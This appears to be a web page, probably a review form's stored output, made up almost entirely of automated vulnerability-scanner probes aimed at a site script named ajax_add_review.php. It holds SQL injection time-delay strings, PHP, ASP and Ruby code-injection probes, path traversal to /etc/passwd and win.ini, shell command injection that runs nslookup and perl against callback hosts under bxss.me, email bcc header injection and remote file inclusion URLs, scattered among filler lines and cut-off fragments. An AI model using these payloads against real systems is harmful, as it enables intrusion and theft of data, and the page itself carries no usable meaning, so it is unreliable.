1????%2527%2522

e

@@n06dP

e

e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

e

1'"

e

WA8FuE1l')) OR 940=(SELECT 940 FROM PG_SLEEP(15))--

e

S5rPJ9we') OR 373=(SELECT 373 FROM PG_SLEEP(15))--

e

eos97NpF' OR 915=(SELECT 915 FROM PG_SLEEP(15))--

e

421ABwQr'; waitfor delay '0:0:15' --

e

1 waitfor delay '0:0:15' --

e

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(

e

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

e

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

e

if(now()=sysdate(),sleep(15),0)

e

-1' OR 2+354-354-1=0+0+0+1 or 'ionpYHYr'='

e

-1" OR 2+276-276-1=0+0+0+1 --

e

idglzQ2C

e

-1 OR 2+391-391-1=0+0+0+1 --

e

-1 OR 2+807-807-1=0+0+0+1

e

-1' OR 2+290-290-1=0+0+0+1 --

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

";print(md5(31337));$a="

e

${@print(md5(31337))}

e

${@print(md5(31337))}\

e

'.print(md5(31337)).'

e

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

e

';print(md5(31337));$a='

e

".gethostbyname(lc("hitab"."sbzsirwo047e1.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(70).ch

e

e

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

e

';print(md5(31337));$a='

e

";print(md5(31337));$a="

e

${@print(md5(31337))}

e

${@print(md5(31337))}\

e

'.print(md5(31337)).'

e

e

'"()

e

e

'.gethostbyname(lc('hitcz'.'mcgygjhy68e13.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(73).chr(111).chr(76).'

e

".gethostbyname(lc("hitdy"."zazaegvw891d8.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(78).chr(116).chr(84)."

'.gethostbyname(lc('hitve'.'rylbnpthf89a6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(69).ch

e

e

e

e

e

ajax_add_review.php

e

e

e

ajax_add_review.php

e

e

e

ajax_add_review.php/.

e

e

e

e

e

e

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

e

e

'"()

e

'+'A'.concat(70-3).concat(22*4).concat(121).concat(65).concat(105).concat(66)+(require'socket' Socket.gethostbyname('hithf'+'owxjjtuk70d98.bxss.me.')[3].to_s)+'

"+"A".concat(70-3).concat(22*4).concat(115).concat(78).concat(117).concat(70)+(require"socket" Socke

e

'+'A'.concat(70-3).concat(22*4).concat(101).concat(71).concat(97).concat(65)+(require'socket' Socket

e

e

ajax_add_review.php

e

e

e

ajax_add_review.php

e

e

e

ajax_add_review.php/.

e

e

^(#$!@#$)(()))******

e

e

e

e

HttP://bxss.me/t/xss.html?%00

e

bxss.me/t/xss.html?%00

HttP://bxss.me/t/xss.html?%00

e

bxss.me/t/xss.html?%00

e

e

"+"A".concat(70-3).concat(22*4).concat(121).concat(85).concat(97).concat(80)+(require"socket" Socket.gethostbyname("hitfq"+"hmxxhxxw7e631.bxss.me.")[3].to_s)+"

http://bxss.me/t/fit.txt?.jpg

e

bxss.me

e

e

)

e

!(()&&!|*|*|

e

^(#$!@#$)(()))******

)

e

!(()&&!|*|*|

e

e

http://bxss.me/t/fit.txt?.jpg

e

bxss.me

e

e

e

e

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

e

1some_inexistent_file_with_long_name.jpg

e

Http://bxss.me/t/fit.txt

e

/xfs.bxss.me

e

e

e

e

e

e

e

e

${9999726+9999294}

${9999292+10000109}

e

e

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

e

1some_inexistent_file_with_long_name.jpg

e

Http://bxss.me/t/fit.txt

e

e

e&n912550=v924131

e

e

e bcc:009247.4079-12057.4079.e2317.20476.2@bxss.me

e

to@example.com> bcc:009247.4079-12058.4079.e2317.20476.2@bxss.me

e

e

e bcc:009247.4079-12061.4079.e2317.20476.2@bxss.me

e

e

e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

to@example.com> bcc:009247.4079-12062.4079.e2317.20476.2@bxss.me

e

e

1'"

e

1????%2527%2522

e

/xfs.bxss.me

e

@@xF4Ea

e

e'"()&%

e

'"()&%

e

e9305408

e

9skxUo1z')) OR 998=(SELECT 998 FROM PG_SLEEP(15))--

e

e

e

e

e'"()&%

e

'"()&%

e

e9513779

e

e

e&n965514=v901030

e

e

12345'"\'\");|]*{ <>?''????

e

e

'"

e

'"

e

e

../../../../../../../../../../../../../../etc/passwd

e

../../../../../../../../../../../../../../windows/win.ini

e

e

e

../e

e

e

12345'"\'\");|]*{ <>?''????

e

Qed5nhPk') OR 75=(SELECT 75 FROM PG_SLEEP(15))--

e

e

O6wMIRPF

e

e

../../../../../../../../../../../../../../etc/passwd

e

XHxKGnAR' OR 386=(SELECT 386 FROM PG_SLEEP(15))--

e

../../../../../../../../../../../../../../windows/win.ini

e

e

e

../e

e

e

&echo xiptsn$()\ xgifto\nz^xyu||a #' &echo xiptsn$()\ xgifto\nz^xyu||a #|" &echo xiptsn$()\ xgifto\n

e

|echo fdbwiy$()\ vvcvlp\nz^xyu||a #' |echo fdbwiy$()\ vvcvlp\nz^xyu||a #|" |echo fdbwiy$()\ vvcvlp\n

e

(nslookup hitkqvbnzlboo83ca9.bxss.me||perl -e "gethostbyname('hitkqvbnzlboo83ca9.bxss.me')")

e

$(nslookup hitkhjkaoisch2cb59.bxss.me||perl -e "gethostbyname('hitkhjkaoisch2cb59.bxss.me')")

e

&(nslookup hithchkezpopuaef50.bxss.me||perl -e "gethostbyname('hithchkezpopuaef50.bxss.me')")&'\"`0&

e

|(nslookup hitigllkstcmk94815.bxss.me||perl -e "gethostbyname('hitigllkstcmk94815.bxss.me')")

e

`(nslookup hitdjgpinbhmj9ad90.bxss.me||perl -e "gethostbyname('hitdjgpinbhmj9ad90.bxss.me')")`

e

;(nslookup hitgumbxzzbyp7f29d.bxss.me||perl -e "gethostbyname('hitgumbxzzbyp7f29d.bxss.me')")|(nsloo

e

e

37biXqmi

e

UOBgp0ah'; waitfor delay '0:0:15' --

echo dgzxcy$()\ xhziyw\nz^xyu||a #' &echo dgzxcy$()\ xhziyw\nz^xyu||a #|" &echo dgzxcy$()\ xhziyw\nz

e

e

echo hbacdk$()\ ddirpn\nz^xyu||a #' &echo hbacdk$()\ ddirpn\nz^xyu||a #|" &echo hbacdk$()\ ddirpn\nz^xyu||a #

e

&echo edqely$()\ ymxdyu\nz^xyu||a #' &echo edqely$()\ ymxdyu\nz^xyu||a #|" &echo edqely$()\ ymxdyu\nz^xyu||a #

e

|echo sjakht$()\ vuhfcb\nz^xyu||a #' |echo sjakht$()\ vuhfcb\nz^xyu||a #|" |echo sjakht$()\ vuhfcb\nz^xyu||a #

e

(nslookup hitehlzlpdpeq151fe.bxss.me||perl -e "gethostbyname('hitehlzlpdpeq151fe.bxss.me')")

e

$(nslookup hituwbnlwzzjwaa948.bxss.me||perl -e "gethostbyname('hituwbnlwzzjwaa948.bxss.me')")

e

1 waitfor delay '0:0:15' --

e

&(nslookup hiteasehlrvoae200b.bxss.me||perl -e "gethostbyname('hiteasehlrvoae200b.bxss.me')")&'\"`0&(nslookup hiteasehlrvoae200b.bxss.me||perl -e "gethostbyname('hiteasehlrvoae200b.bxss.me')")&`'

e

|(nslookup hitxazpjlotqm1b06d.bxss.me||perl -e "gethostbyname('hitxazpjlotqm1b06d.bxss.me')")

e

`(nslookup hitvlocizdqqpee2ac.bxss.me||perl -e "gethostbyname('hitvlocizdqqpee2ac.bxss.me')")`

e

;(nslookup hitbagimjdaox70145.bxss.me||perl -e "gethostbyname('hitbagimjdaox70145.bxss.me')")|(nslookup hitbagimjdaox70145.bxss.me||perl -e "gethostbyname('hitbagimjdaox70145.bxss.me')")&(nslookup hitbagimjdaox70145.bxss.me||perl -e "gethostbyname('hitbagimjdaox70145.bxss.me')")

e

response.write(9936389*9427471)

e

'+response.write(9936389*9427471)+'

e

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

e

"+response.write(9936389*9427471)+"

response.write(9833317*9188627)

e

'+response.write(9833317*9188627)+'

e

"+response.write(9833317*9188627)+"

e

e

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

e

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

e

if(now()=sysdate(),sleep(15),0)

e

-1' OR 2+745-745-1=0+0+0+1 or 'tc10B4cj'='

e

-1" OR 2+589-589-1=0+0+0+1 --

e

YSrtZaSe

e

-1 OR 2+148-148-1=0+0+0+1 --

e

-1 OR 2+750-750-1=0+0+0+1

e

-1' OR 2+703-703-1=0+0+0+1 --

e

e

e

e

e

e

e

e

e

e